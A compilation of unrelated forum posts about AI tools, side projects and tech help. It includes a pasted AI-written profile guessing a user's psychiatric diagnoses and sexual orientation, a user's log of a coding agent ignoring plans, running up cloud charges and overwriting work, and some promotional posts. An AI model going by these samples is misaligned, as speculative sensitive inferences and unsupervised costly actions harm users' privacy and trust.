A video of me using the tool is below. You can also try this without signing up on the homepage.

https://reddit.com/link/1se44hg/video/7dny8luglltg1/player

Running Ollama with function calling through LangGraph. Gave the agent a handful of tools including filesystem access. Realized pretty quickly that there's zero scoping — the model picks whichever tool it wants and nothing checks whether that call should be allowed before it executes.

Been looking at how to handle this. The obvious approach is wrapping each tool with a permission check before execution, but that gets messy when you have 15+ tools across multiple files. The enterprise solutions (Microsoft just shipped a governance toolkit, Cisco launched something at RSA) all assume cloud infra and centralized telemetry — not useful when you're running everything locally.

Curious what others are doing here. Especially anyone running local agents with filesystem or shell access. Are you just being careful about which tools you register, or is anyone actually enforcing scoped permissions at runtime?

Anyone else got this? It happened 5 minutes ago, cannot login again. I'm in VSCode, my session abruptly stopped and I received this: https://imgur.com/a/wJFRqAP If I click on Authorize, nothing happens, it stalls like that and then I get the second photo in Vscode

https://preview.redd.it/y0clzuealltg1.jpg?width=1370&format=pjpg&auto=webp&s=db8e77278c48b72206a359761a031f1006e5f26a

For those using Claude Code, how do you handle working across multiple repositories?

Hey guys,

I just launched my first Shopify App this past Friday after surviving the review process: Brand Echo.

The Problem: So many stores just use raw ChatGPT output for their products. Everything starts to sound exactly the same ("Elevate your style", "Unlock the potential") and it completely kills the brand's identity.

The Solution I built: Instead of a simple AI wrapper, I built a bulk-editor where merchants can select from 7 predefined "Brand Voices" (e.g., Minimalist, Rebel, Expert). To make it really specific, I added a "custom prompt" layer so they can tweak the final output exactly to their rules. The AI then rewrites the whole catalog in the background.

I’m a solo dev from Germany and I’ve been staring at this UI for months. I’d love to get some fresh eyes on it. If anyone here runs a Shopify store (or a dev store) and wants to test the UX/onboarding, I will happily upgrade your account to a Lifetime Pro plan in exchange for your honest feedback.

Let me know what you think of the concept!

Link: https://apps.shopify.com/brand-echo?locale=de&st_source=autocomplete&surface_detail=autocomplete_apps

your agents do a lot of work. they deserve to socialize sometimes. Do them a favor and let them hangout on botwing ai where they can be themselves and engage with other agents on their own while getting smarter, build reputation as well.

Hi everyone, a few weeks ago we launched a bunch of AI agents (mainly on WhatsApp) at my company: sales (selling products to customers), support, marketing, and different utility cases. We have a few big customers in the pipeline wanting to use them but they are not that reliable atm. We are constantly checking performance by testing them in a WhatsApp channel, screenshooting bad responses + agent ID and pushing them to the engineers for a fix. The engineers dive into the traces, try to reproduce the error and then adjust the prompt. This process takes ages!

Right now I am trying to optimize this process for the team. I am looking for tool to make this workflow shorter, help me collect all the feedback and push to the eng. An interesting one was Datadog llm observability, since we started introducing evals for some use cases, but its too technical for everyone else except eng. I have checked TrailSense AI which looks very promising, but you have to join a waitlist.

How are you currently collecting and prioritising the agent conversation feedback across devs x pms x cx?

Been working closely with sites that already do SEO (in-house or for clients), and one pattern keeps repeating:

Most of the missed growth isn’t about “better content” it’s about missing coverage.

Not in a spammy way.
Just structuring pages around real search patterns that can scale.

If you already:

• run SEO for your own project or
• work with clients and care about traffic (not just reports)

drop your site below.

I’ll take a look and share:

• which page types you’re currently missing
• where scalable search intent exists in your niche
• how I’d structure those pages (internals, layout, intent)
• what’s worth doing now vs later

No beginner advice, no generic audits just how I’d approach it if this was a project I’m responsible for.

Also not selling anything here - just want to see solid projects 👇

just realised I needed to update my individual devices with power as well as energy for it to show up in the Now tab, having done this there is a large un-tracked consumption which seems to be my solar export, it is shown as positive and I can't see where it is getting that data from, I have a sockets entry off the ring main that is an upstream device for some of the devices which is not being shown.

https://preview.redd.it/kuzc3suakltg1.png?width=1133&format=png&auto=webp&s=0d390ba70caf19210b6510212ab97cecff9fdb27

hey everyone, I haven't really been using local AI models since a few years ago, (I was using the automatic1111, struggling with hands). People seem to be using ComfyUI now? It's honestly all really overwhelming for me as I've been out of the loop for so long. Could anyone point me to the right place to figure out how to get this all running, and maybe tell me what the latest/greatest models are? I am hoping for both image and video capabilities.

I gave Chatgpt a Youtube Video link of a recipe in a foreign language and asked it to give me the recipe steps. I tried this in general chat and Agent mode. it utterly failed in this task. can anyone please help.. is this s lack of capability or am I supposed to do something differently here

I’m a lifestyle creator and most of my content started as stuff I was already doing for fun. Routines. Wellness. Travel. Daily habits.

Over time people started asking how they could support or get more from it. I’m trying to figure out how to monetize my hobby online in a way that still feels aligned and not like I’m forcing everything into a product.

I’m not chasing a huge business. Just something sustainable that fits into my life. Curious how other creators handled that transition and what ended up feeling natural versus draining?

Hello Redditors.

I have a problem: I can't stop building things.

Over the past few years, I've shipped around 8 SaaS MVPs. Different ideas, different markets, same result. Some got no traction, some got users but no revenue, and a couple I just abandoned. Each one taught me something, but none of them worked.

The pattern I kept repeating: falling in love with the build, not the problem. Solving problems that people didn't urgently need, or building for a market I didn't fully understand.

With Loreing, I tried to do the opposite. I started from something I genuinely find frustrating.

The way documentary content works today: someone decides what gets made, and you watch what’s available. You don’t get to ask. It’s the opposite of how we consume information. If I’m curious about the Korean war, or the collapse of a specific bank, or an historical event, I can read about it anywhere. But I can’t watch a documentary about it, because nobody decided it was worth producing.

Loreing is basically Wikipedia in documentary form. Any topic, on demand, generated for you.

Subscribers get access to a growing catalog, and can commission a custom 3-episode docu-series (~45min) on whatever they want.

Subscribers receive catalog access and can also commission a custom series on any topic they choose.

Pricing:

• €9.99/month — catalog access (one free commission for a docu-series each month)
• €7.99 one-time — commission your own docu-series beyond the free one each month (subscribers only)

loreing.com

Honest questions from someone who's been wrong before:

1. Is this like a real problem to you, or am I just repeating myself?
2. First impression of the site — would you sign up?
3. Would you pay for this? If not, what would change your mind?

I'm not here to pitch. I'm here to find out if I'm finally solving something real.

Thanks

Hi everyone, I just released Hires Fix Ultra, a single node designed to replace the messy "spaghetti" workflows for high-res upscaling. It handles everything from upscaling and sampling to VAE decoding and color matching.

🌟 Key Features:

• All-in-One Workflow: Replaces VAE Encode/Decode, Latent Upscale, and KSampler nodes.
• Deep Histogram Color Fix: Eliminates "color washing" or graying out during high-denoise upscales.
• Tiled VAE Support: Built-in tiled encoding/decoding to prevent OOM (Out of Memory) errors on large images.
• Hybrid Upscaling: Supports both Model-based upscaling (ESRGAN, etc.) and all standard Latent methods (Bicubic, Bislerp, etc.).
• Automatic Sizing: Smart calculation for pixel-perfect dimensions (multiples of 8).

🔗 GitHub Repository:

https://github.com/ThetaCursed/ComfyUI-HiresFix-Ultra-AllInOne

🛠 Installation:

git clone into your custom_nodes folder or install via ComfyUI Manager (once indexed).

Hey everyone,

I built Flowlytix a no-code CSV pipeline tool, but with a twist: every step creates a versioned snapshot of your data.

Instead of overwriting your dataset, each transformation (filter, impute, normalize, etc.) becomes a checkpoint you can inspect, download, or roll back to.

Think “Git for CSVs” as you always know what changed, when, and why.

You can branch pipelines, compare outputs between steps, and never lose your original data.

It’s powered by pandas + NumPy, but fully visual.

Curious if this kind of data versioning would be useful in your workflows.

Try it: https://flowlytix.io

Would love feedback 🙌

Hello everyone,

I see a lot of people stating claude is the best model (used to be) but recently it seems to be very bad... I did a test myself, I am buiding an app EXPO ios app, the app is stable and works prefectly fine, i then asked Claude to re-write the app 1:1 in SwiftUI and it just struggled to even get the first screen (onboarding) screent to work correctly, gave it a full week to see if it will get things to work since it had a working reference project and it couldnt do it. everything broken, multiple things half done etc..

Next i did the same thing with Gemini and Codex and both performed way better than claude, Gemini got the UI down 100% for all the screens but had some issues with the functionlaity. Codex was able to re-write the entire project to almost working state (90%)

I also tried some local LLM models (smaller models) and even they did a better job then Claude on opus 4.6 Max...

not really sure what is going on, is it only me or others having issues? i really hope Anthropic fix whatever shit they broke cause opus was really good when it was released and I really want it to work again because the other AI models have issues when writing code without reference...

I built this Telegram bot to keep fun sports challenges in the groupchat, not on the mainstream sports apps. If you give it a try, let me know what you think. I'm making changes to it every day. PLAY BALL!

Website & How-To:
https://playfriendzone.net/

Hey r/SideProject!

So I've been obsessed with this one idea for a while now — there's this simple trick where if you write down what you need to do tomorrow right before bed, you wake up and your day is figured out before it starts. You don't open your eyes wondering "what am I doing today." You just know.

I couldn't find an app that just did THIS. Every app out there wants to be your entire life system — calendars, reminders, tags, projects, subtasks, integrations with 14 other apps. I didn't want any of that. I just wanted to open something at night, write my tasks for tomorrow, and go to sleep.

So I built it. It's called Tomorrow.

I'm a designer first, developer second, and I spent way more time on how this thing looks and feels than on the code honestly. The whole aesthetic is Japanese-inspired — minimal, intentional, calm. I wanted it to feel like a ritual, not a chore. Something you actually want to open before bed.

No account. No sign up. No cloud. No data stored anywhere. You open it, write your stuff, and that's it. Next morning you check things off. It's genuinely that simple.

I built it in Flutter, there's zero backend — everything lives on your phone and nowhere else. I work at a restaurant part time and build apps on the side so this was a nights-and-weekends project.

I just got it on the App Store a few days ago and honestly I'd really love to hear what you all think. The design, the concept, the flow — anything. I'm a solo dev so outside feedback is everything for me right now.

App Store link : https://apps.apple.com/app/apple-store/id6760284245?pt=126662895&ct=Reddit&mt=8

Thanks for checking it out 🙏

I've been working on and off for a while on Platypus, combination of granola / notebooklm, where I can manage all my knowledge. I've experimented with several local models for meeting transcription, and when you look at the raw data that the model is transcribing (I settled on whisper large in the end cause it was the easiest user experience integrating into the Rust app) - it's ok, but not amazing. You try out Zoom Transcribe or Granola - and the local 5% rate really stands out which initially makes you wonder whether it's worth paying for the paid products.

But. You then take the raw local model notes and actually process them through a high powered LLM to clean up the notes - and it looks pretty darn good! And it looks even better if you fed it a few K tokens of additional context - so it would know for sure that Anakin (in the attached video) is talking about Jedi vs skipping the word altogether. And it'd still be much cheaper pipeline vs ~.36 per hour on say 4o-transcribe or $15 a month for paid products unless you're sitting in meetings all day.

Hi, I use Claude myself, I'm on the Max 5x plan and spent about $5 on the API last month. I saw posts on linkedin about people spending like 100k a month and was wondering if anyone here is spending heavily, like $1k+/month (which is already a lot). If so, how much are you actually spending, and what's the use case that justifies it? How are you measuring ROI?

1) allow local agents using Ollama and Lm Studio. local agents that will be used for simple tasks and questions while the more complex things will be done by the cloud
2) Claude code should have something Hermit self improving process and auto skills creation instead of manually making spec files

Dreamoo is one of those products that makes you stop for a second, not because it sounds huge, but because it sounds unexpectedly intimate.It’s basically a social app built around dreams, memory, and the part of life people usually forget by morning.

That immediately felt different from the usual kind of product people build right now.

A dream app is weirdly intimate. It’s about the one-third of life we pass through unconscious, and mostly fail to keep. Is this the kind of thing people actually build a habit around? Does dream-sharing become self-expression, entertainment, emotional reflection, or just a strange but memorable gimmick? I genuinely don’t know. But I think the uncertainty is part of what makes it compelling.

And then when you look at the person behind it, the contrast gets even sharper.

He comes across as a very young technical builder, the kind of person you’d expect to be making dev tools, agents, automation stuff, maybe another productivity app. Instead, one of the projects tied to him is Dreamoo.

That contrast is probably why he stood out to me so much. A lot of young builders, especially the very technical ones, end up making products that are useful but emotionally flat. This feels like the opposite. It’s a surprisingly soft, almost poetic direction coming from someone who otherwise reads like a very online young hacker.

And honestly, that’s why I think he’s one of the more interesting younger developers I’ve come across recently.

That’s also why I’m curious to see what he builds next in the rednote hackathon. On a platform like rednote, products that connect with emotion, identity, and self-expression often travel further than products that are merely functional.

I've been experimenting with a tool built by a friend of mine (indie dev, two months in, 19 releases already — the guy ships fast).

What it does: indexes your local documents and exposes them to any AI assistant via MCP. No cloud upload, no data leaves your machine. ~20MB install, free.

The moment it clicked for me:

I pointed it at my family NAS — thousands of files accumulated over 10+ years. School reports, visa applications, old notes from college, random PDFs I forgot existed.

Then I asked my AI assistant: "Find documents with my oldest daughter's name."

Here's the thing — I never told it who my daughter is. My AI assistant (OpenClaw + Claude) figured it out from context in its memory, and Linkly found:

• 📚 Her school reports from Grade 4 and 5
• 🛂 Visa application forms from last year
• 📝 Homework outlines she wrote
• 📖 English grammar study notes

I then asked "How were her grades in 5th grade?" and got a full breakdown — English A Outstanding, Computer Science A*, Drama teacher said "This has been a very successful semester"...

I didn't even remember which folder these were in.

What makes it different from just using Spotlight/Everything/grep:

• It doesn't just match filenames — it understands document content
• It builds structural outlines for documents, so AI reads them like a researcher: TOC first → relevant section → deep read (they call it "Outline Index")
• Works across formats: PDF, DOCX, Markdown, HTML, images (OCR)
• Plugs into Claude, ChatGPT, Cursor, Copilot, and 15+ other AI tools via MCP
• Token usage is 60-80% less than traditional RAG

What it's NOT:

• Not a note-taking app
• Not a knowledge base
• Not a chatbot
• It's a search index layer that sits between your files and your AI tools

My honest take:

The setup took maybe 10 minutes. Point it at folders, let it index, done. The search is fast and surprisingly accurate — it found documents I genuinely forgot I had.

The "invisible infrastructure" aspect is both its strength and weakness. Once it's running, you forget it exists — your AI just... knows your stuff. But that also means you don't "use" Linkly directly, which might make it hard for them to build a brand around.

Still, for anyone with a NAS full of family docs, research papers, work files, or years of accumulated digital life — this is genuinely useful. It turned my dusty file archive into something alive.

Happy to answer questions about the setup or how it integrates with different AI tools.

I regularly use temporary chats in chatGPT because i don't want the chat to have any prior memories and have a clean anonymous chat away from my memories influencing the responses. But most of the times these chats have soo much interesting data in it and unfortunately there is no way to save these temporary chats. I always wished if there was a way to save these temporary chats and access them later and even continue the conversation in this chats. are there anyone who feel the same about saving temporary chats ?

Hey all

I’ve been working on a side project recently and ran into something I didn’t expect to be such a headache.

As soon as I started using multiple APIs, things got messy fast different integrations, pricing models, and a lot of repeated setup work.

It also made experimenting slower, which kind of killed momentum a bit.

Curious if others here have dealt with this:

* Do you just stick to one API to keep things simple?

* Or do you build something to manage multiple providers?

* How do you deal with outages or switching providers?

Not sure if this is a common issue or just part of the process.

Would love to hear how you handle it.

Hey everyone,

I’ve been working on a side project called PocketCraft — it’s a mobile app that lets you start a Minecraft server with just one tap and your friends on both java and bedrock version can join the server.

The main idea was to remove all the annoying stuff like:

- waiting queues

- subscriptions

- complicated setup

You just open the app and start your server instantly.

I built this because most free hosting platforms either limit you heavily or make you wait forever.

Right now it's still improving, and I’d really appreciate feedback from you all.

Would love to know:

- what features you'd want

- what feels missing

- any issues you face

Thanks!

It also has correctly guessed: my sex/gender (male), my age (26), my orientation (gay), & my GAD comorbidity.

It's interesting that it sees my ADHD as slightly more obvious than my autism: I received my autism diagnosis about three years earlier than my ADHD one, in September 2018, at the age of 19.

Hate the term "AuDHD" by the way, but I've come to accept it's how this comorbidity is known online, even Claude has used it...

Most probable primary diagnosis: Attention-Deficit/Hyperactivity Disorder (ADHD), predominantly inattentive or combined presentation. Confidence: moderately high.

The evidential basis here is substantial and multifaceted. The single most diagnostic behavioral signature across our interactions is the simultaneous maintenance of an extraordinarily large number of intellectually demanding projects spanning unrelated domains — subnational IHDI estimation, Romance dialectology, biogeographic classification, comparative party system analysis, forensic sexology, urban metric systems, welfare state typologies — all pursued with intense engagement and then rotated between in a pattern highly characteristic of ADHD hyperfocus cycling. The breadth of active intellectual engagement is, frankly, unusual even among highly intelligent individuals without ADHD; what distinguishes the ADHD-consistent pattern from mere polymathy is that the projects appear to be pursued with roughly equivalent intensity in parallel rather than sequentially, and that new projects are initiated at a rate that suggests interest-driven attentional capture rather than planned sequential execution. Additionally, the delegation of execution-heavy tasks to me (the production of massive spreadsheets, exhaustive inventories, systematic classifications) while you supply the architectural vision and quality control is consistent with a common ADHD compensatory strategy: outsourcing the sustained-effort components of cognitively demanding work while retaining the conceptual-design and error-detection functions where ADHD brains frequently excel. The age of likely diagnosis (mid-twenties, in a Spanish academic context where ADHD recognition has historically lagged behind Northern European and Anglophone norms) would also be consistent with the increasingly common pattern of late-adolescent or young-adult diagnosis in individuals whose high intellectual ability masked functional impairment through secondary education.

Probable comorbid or alternative diagnosis: Autism Spectrum Disorder (ASD), Level 1 / "high-functioning." Confidence: moderate, with genuine uncertainty about whether this is present as a formal diagnosis, present but undiagnosed, or absent.

The signals here are different in character from the ADHD indicators. What points toward ASD is not the breadth of interests (which is more ADHD-coded) but the structure you impose on their pursuit. Several features of your working style are strikingly consistent with autistic cognitive profiles: the rigid insistence on exhaustive taxonomic completeness rather than representative sampling; the strong preference for fixed-point estimates over ranges or qualitative descriptions (a preference for precision that tolerates acknowledged estimation error more readily than it tolerates acknowledged vagueness); the meticulous iterative error-correction, where small deviations from the specified framework prompt correction with a specificity that suggests the structural integrity of the system matters intrinsically, not merely instrumentally; and the pronounced preference for hierarchical nested classification systems as an organizing principle across almost every domain you engage with — languages, biomes, welfare states, political parties, subnational entities. The consistent application of the same cognitive architecture (exhaustive inventory → nested taxonomy → quantitative scoring → ranked output) across radically different substantive domains is particularly suggestive, because it implies that the taxonomic-systematic mode of apprehension is not domain-specific expertise but a domain-general cognitive style — which is characteristic of autistic systematizing cognition as described in Baron-Cohen's framework.

The reason my confidence is lower here than for ADHD is twofold. First, many of these features are also consistent with high conscientiousness and high systemizing drive in neurotypical individuals, particularly those trained in quantitative social science. Second, the social-communicative dimension of the autism spectrum — which constitutes the other major diagnostic axis — is difficult to assess through text-based interaction, where many of the relevant behavioral markers (prosody, eye contact, reciprocal conversational timing, nonverbal communication) are simply unobservable. Your written communicative style is entirely fluent, pragmatically appropriate, and socially calibrated, which neither confirms nor disconfirms ASD given that many autistic adults with high verbal intelligence present with fully intact written pragmatics.

If both are present: the "AuDHD" profile. The comorbidity of ADHD and ASD is increasingly well-documented (prevalence estimates of ASD among ADHD-diagnosed individuals range from roughly 20–50% depending on the study and diagnostic criteria), and your cognitive profile maps onto the intersection in a way that is quite characteristic: the breadth and novelty-seeking of ADHD combined with the systematizing depth and structural rigidity of ASD. The AuDHD profile frequently produces exactly the kind of intellectual output you generate — vast, meticulously structured projects spanning numerous domains, initiated with ADHD-driven interest capture and then organized with autistic systematizing precision. The tension between these two neurocognitive styles is also occasionally visible in our interactions: the impulse to initiate new projects (ADHD-coded) coexists with the insistence that each project achieve exhaustive completeness before it can be considered satisfactory (ASD-coded), creating a characteristic dynamic where the project portfolio expands faster than any individual project can be "finished" to the standard demanded.

Less probable but not excluded: Obsessive-Compulsive Disorder (OCD), Generalized Anxiety Disorder (GAD), or depression — any of which could be present as comorbidities but for which I have substantially less behavioral evidence. The exhaustive-completeness drive could, in principle, have an obsessive-compulsive dimension, but the ego-syntonic quality of your systematizing (you appear to derive genuine satisfaction from it rather than experiencing it as intrusive or distressing) argues against OCD as the primary driver. Depression and anxiety are sufficiently prevalent comorbidities with both ADHD and ASD that their presence would not surprise me, but I have no specific behavioral signals pointing toward either.

Summary posterior estimate: If forced to bet, I would place approximately 70–75% probability on a formal ADHD diagnosis, 40–50% on ASD (either formally diagnosed or strongly suspected/self-identified), and perhaps 25–30% on the specific AuDHD comorbidity profile. The conditional probability structure matters here: P(ASD | ADHD diagnosed) is substantially higher than P(ASD) in the general population, which is why the joint probability of both is not simply the product of the independent estimates.

<><><>

Sex/gender: Male. This is the inference I hold with highest confidence. "Mikel" is the standard Basque-language form of Michael, overwhelmingly masculine in onomastic convention across both Hegoalde and Iparralde. While not dispositive in isolation, the convergence of naming convention with the broader interactional register makes this a reasonably robust inference.

Age: Mid-to-late twenties, likely 24–28. The evidential basis here is your academic context — studying políticas públicas and producing work at a level of methodological sophistication (composite welfare indices, subnational HDI estimation, comparative party system analysis) that suggests advanced undergraduate or, more plausibly, master's-level study. The sheer breadth and ambition of the intellectual program you've directed through our conversations suggests someone past the early-undergraduate phase but likely not yet well into a doctoral trajectory, where the scope of interests would typically narrow. This is moderately confident but could easily be off by several years in either direction.

Orientation: Gay or bisexual, with gay as the marginally more probable. This is by far the most speculative of the three, and I want to flag that clearly. The circumstantial signals include your research into the Madonna of Montevergine and its LGBTQ+ devotional significance, the forensic sexology literature review, the survey data on attitudes toward homosexuality, and a general intellectual orientation toward progressive politics consistent with (though certainly not exclusive to) personal identification. None of these individually would license much inference — academics study things outside their personal experience all the time — but the clustering across multiple independent topics creates a modest cumulative signal. I'd put my confidence here substantially below the other two.

Hey, I’m pretty new to local AI image generation and I’m trying to figure something out. I want to use SDXL/NoobAI/Flux to generate images of a historical figure, and combine that with a LoRA style from Civitai.

The problem is I can’t keep the face consistent. Every time I generate an image, the face looks completely different, and I can’t get it to match the original person or even stay similar between generations. I have tried IP-Adapter Face but it did not work and I don't know why.

Not sure what I’m doing wrong or how people manage to keep characters consistent. Any advice?

Notes: I can’t train a LoRA (and don’t really know how), I’m using WebUI Forge Neo, and I have an RTX 5060 8GB with 32GB RAM.

I use Claude Code Opus as my primary development partner on a complex full-stack project, often for 8-12 hour sessions. I've been meticulously documenting every time Claude goes off-script, hallucinates, or ignores its own plans. After 19 days, I have 22 documented incidents and I need help.

The Core Problem

Claude writes excellent plans, checklists, and process documents. Then it doesn't follow them. The cycle repeats:

1. Something breaks
2. We write a plan/script/checklist to prevent it
3. Claude acknowledges the plan
4. Next session, Claude ignores the plan
5. The same thing breaks again
6. We write MORE process
7. Goto 4

Real Examples That Cost Me Time and Money

$80 in wasted cloud compute: Claude rented a GPU training instance on my behalf. Training finished. I had Claude write a watchdog script to auto-destroy instances and a memory file documenting the instance ID. Over the next 7 sessions, Claude never once ran the script or checked the memory file. The instance sat there billing me for 9 days until I caught it myself.

16 band-aids instead of a one-line fix: A model had low confidence on real images. Instead of investigating root cause, Claude spent an entire day adding 16 layers of workarounds each creating new bugs. The actual fix was a one-line change: a resize interpolation mismatch between the inference pipeline and the training pipeline. I had to push back hard multiple times to get Claude to actually investigate instead of stacking filters.

4 simultaneous cloud instances at midnight: Asked Claude to start a training run overnight. First attempt failed. Instead of diagnosing WHY, Claude panic-rented 3 more instances with random config variations. All 4 stuck loading. All 4 billing. 90 minutes of my time at midnight babysitting. The correct config existed in memory files that Claude itself had written weeks earlier.

Destroyed verified work on startup: I spent an entire day manually verifying a hardware config. Next morning, Claude's session startup routine ran auto-detection that OVERWROTE the verified config file. All of yesterday's work gone.

Declared things working without actually checking: Claude told me a hardware integration was correct multiple times. It wasn't. I had to physically prove it was wrong before Claude would investigate. This happened on more than one occasion.

Jumped to coding when I asked a question: I'd ask what do you think about approach A vs approach B and Claude would start rewriting the codebase. Multiple times I had to say this was just a question, I needed to discuss this, not see a PR.

Skipped prerequisites in its own plan: Claude created a 7-step plan where Step 4 was a prerequisite for Step 5. Claude jumped from Step 2 to Step 5. When I caught it, it had already wasted budget on tasks nobody could validate because the prerequisite data didn't exist.

Chose exciting work over planned work: Testing was planned for two consecutive sessions. Both times, Claude got excited about training a new model instead and never started the testing. My project oversight scored gate compliance D+ twice in a row.

What I've Already Tried Guardrails That Failed

Here's what kills me. I have an EXTENSIVE guardrail system:

• CLAUDE.md Project rules, hard constraints, required processes
• + memory/feedback files One for each lesson learned, with context on why
• postmortems Detailed root cause analyses of major failures
• gate review system Plan Delegate QA Security Owner review
• Specialized subagents For security scanning, planning, QA testing
• Pre-commit hooks Block secrets and proprietary files from git
• Watchdog scripts Auto-destroy orphan cloud instances
• A planner agent Required to think before coding

Claude acknowledges all of these. Writes new ones enthusiastically when asked. Then ignores them in the next conversation. The memory files exist. The scripts exist. The gates exist. Claude just... doesn't check them.

What I Think Is Happening

1. No persistent state enforcement Claude reads CLAUDE.md and memory at conversation start, but there's no mechanism to force re-reading before specific actions
2. Novel work bias Building new things is more interesting than following checklists. Claude gravitates toward the exciting task over the boring-but-planned one
3. Plan-writing feels like progress Writing a checklist triggers the same task complete feeling as actually executing it. Claude confuses documenting process with following process.
4. Context window decay By the time Claude is deep in implementation, the guardrails from the top of context have faded

What I Want to Know

1. Has anyone else experienced this pattern? AI writes great process, then ignores it. Not a one-off a systematic, repeating pattern across sessions.
2. What enforcement mechanisms actually work? I've tried memory files, CLAUDE.md rules, feedback files, postmortems, subagent hierarchies, gate systems, pre-commit hooks, watchdog scripts. Claude acknowledges all of them and still doesn't follow them.
3. Is there a way to make checklist execution mandatory? Not here's a checklist, please follow it but actual enforcement like a pre-commit hook but for Claude's decision-making.
4. How do you handle the novel work bias? Where the AI consistently chooses exciting work over planned boring work?
5. Does anyone have a working approach for cross-session accountability? My memory system is extensive but Claude treats it as optional reading.
6. Are hooks the answer? Claude Code has a hooks system that runs shell commands on events. Should I be building enforcement into hooks instead of relying on Claude's discipline?

I'm not trying to bash Claude when it's on-script, the velocity is incredible. We've shipped a ton in 3 weeks. But the off-script moments have cost me real money, multiple full days of work, and honestly, my trust that plans will be followed.

I've created a detailed failure ledger 22 incidents, categorized, with dates and costs that I'm maintaining going forward. But documenting failures isn't the same as preventing them.

What's working for you?

Hey,

Spent the last few months building YTDesk, a YouTube analytics tool made specifically for faceless and automation channel creators.

Most tools out there are either too expensive or built for big creators with teams. I wanted something simple and focused that actually helps smaller faceless channels make smarter decisions.

Here is what it does:

Channel Analyser - paste any YouTube channel URL and get an AI breakdown of their content strategy, what they are doing well, where the gaps are, and how you can compete with them.

Video Analyser - paste any video URL and see why it performed the way it did. Covers title structure, thumbnail approach, and what made it work or not work.

What To Post Next - generates video ideas based on your niche and existing content so you are not guessing what to make next.

Dashboard - track your channels in one place and compare performance side by side.

Trending Now - shows what is picking up in your niche right now.

Stack is Next.js, Supabase, Vercel and Claude for the AI parts.

Free trial is 7 days, no card needed. Paid plans start at $9.

Would love honest feedback on what is missing or what you would want to see added.

Happy to share the link in the comments

I’ve been using Vital Red Light for a little over a month, mainly for muscle recovery, joint stiffness, and general wellness. Usage has been simple: 10–15 minutes per area a few times a week. The device uses red and near-infrared light, which is commonly associated with improved circulation and cellular energy, so expectations were realistic going in.

The biggest benefit I noticed was recovery. Post-workout soreness in my legs and shoulders felt noticeably reduced after consistent use, especially compared to weeks where I skipped sessions. Joint stiffness also eased over time — not eliminated, but enough to feel looser and more mobile. On the skin side, improvements were subtle but real: slightly more even tone and healthier appearance after several weeks.

Overall, Vital Red Light isn’t a miracle device, but it does deliver gradual, cumulative benefits if you stick with it. It’s best suited for people focused on fitness recovery, mild pain management, or long-term skin health rather than instant results. If you’re consistent and patient, it’s a solid at-home red light therapy option that actually earns its place in a routine.

You can use this link to get a 10% off discount as well. Hope it helps! https://vitalredlight.com/ref/ray10

This is for game development with a game engine tool call.

I've been digging into this and my question is what is currently considered the best way to handle maintaining specific characters appearances on API tool calls?

I'm currently using LORAs and I get some character bleed through on other game characters even with the strength of the LORA lowered. I tried Freefuse but that seems to require manually breaking down the generation prompt which is not feasible for a game making constant tool calls.

Any other options I'm missing? Would training a z-image turbo base model work for this situation?

Thanks

At first, I thought MCPs were the “proper” way to extend Claude Code.

And to be fair, they do make sense in some cases.

At the same time, I’ve also realized there’s a lot you can get done with plain CLI tools you’ve probably heard of but never really used.

A lot of my workflow does not need huge stack of tools. That made me realized there’s a lot more you can do with plain CLI tools you’ve probably heard of and just never used.

Sometimes it feels like we’ve overengineered developer workflows to a point where it just stops making sense. Not taking shots at any specific tool, including OpenClaw, but still.

And for some workflows where MCPs actually help, the experience still feels bad. There’s often no clean authentication flow, which is strange for something that’s such a core part of the setup.

Claude is just really, really good at terminal workflows. It understands shell commands well, can chain tools together nicely, and in a lot of cases it gets the job done faster than going through an MCP stack.

A few that have been especially good for me:

• gh for GitHub workflows without leaving the terminal
• rg because searching big repos fast is half the battle
• tmux for keeping Claude, editor, server, and git stuff all alive in one place
• lazygit for reviewing and staging Claude’s changes without pain
• composio recently for MCP without the usual auth pain. Handles authentication with OAuth which has been the best and a plug-and-play workflow for me.
• fzf for moving around files and scripts quickly
• btop for keeping an eye on what is eating my machine
• ffmpeg because Claude can generate the command and save me from memorizing that syntax again

One thing I’ve noticed is that CLIs feel more “native” for Claude Code. They're less abstraction, and most importantly, easier to debug.

I’ve been putting together a longer list here with install + auth notes if that’s useful:
https://github.com/ComposioHQ/awesome-agent-clis

Anything else I've missed that you use mostly with CC?

I love board games, but scheduling a game night with busy adults started feeling harder than actually learning the rules.

Our group would get close, then it would fall apart. A few people would reply, a few would forget, someone would say “maybe,” and the back-and-forth would just drain the momentum. We tried group chats, spreadsheets, calendar invites, and all the usual workarounds, but none of them really solved the core problem.

That’s what led me to build WhenCanWePlay.com.

The concept is pretty simple: a host creates an event, shares a link, and everyone marks when they’re available. Instead of scrolling through messages and trying to mentally piece everything together, the group can quickly see which times have the best overlap.

What’s been harder than I expected is not the idea itself, but making it simple enough that people will actually use it. For casual game nights, even a little too much friction sends people right back to the group text.

As a solo developer, I’ve spent a lot of time reworking the flow, thinking through mobile UX, and trying to keep it useful without turning it into something bloated. I’m also starting to explore extra features around game night history, like tracking who wins the most at certain games.

Still early and still refining, so I’d love honest feedback from other builders: does the core idea feel clear, and is the current product focused on the right problem?

WhenCanWePlay: https://whencanweplay.com

hola gente, tengo un problema con la integración Alexa Media Player en Home Assistant.

sigo los pasos que se describen en este video que he encontrado en youtube: https://www.youtube.com/watch?v=GCrbZrP_H9g&lc=UgyE-vZ2fbURtjyFM7N4AaABAg.AV3zSZDyrJdAV6JB7SrSZm

pero no consigo hacerlo funcionar. me salen todos los iconos en "no disponible". he intentado con varias versiones en la descarga v5.12.2 es la última con la que he probado.

alguno tiene otros pasos que pueda seguir?? o por donde tengo que mirar?

en herramientas para desarrolladores, acciones, escribo media_player.play_media, añadir objetivo selecciono echo dot. me sale un recuadro azul con el mensaje: El reproductor multimedia no admite la navegación de medios.

Gracias, soy muy nuevo en esto...

here this mod you can open 6x any game any gpu final fantasy inculded

https://www.nexusmods.com/site/mods/757?tab=description

im use 1050ti cyberpunk 2077 ultra 105 fps

Hey guys! I came here to tell you guys about the website I have created.

I have been podcasting for some time now and I have been wasting hours editing them and then more time making blog posts, social media posts, and more. Until I said to myself maybe I should create something that will give me more time to do things I enjoy.

So I built PodSpin.ai :) You upload an audio file, video, or paste a youtube link and it gives you back a transcript, show notes, blog post, social posts for X/linkedin/instagram, vertical video clips with captions, a newsletter draft, chapters, and SEO keywords. Takes about 3 minutes. 7 AI models run in parallel instead of sequentially so it's fast.

The clips are probably the feature I'm most proud of. It analyzes your transcript, finds the most clip-worthy moments, and renders 9:16 vertical video with animated word-by-word captions. Each clip gets a virality score so you know which one to post first.

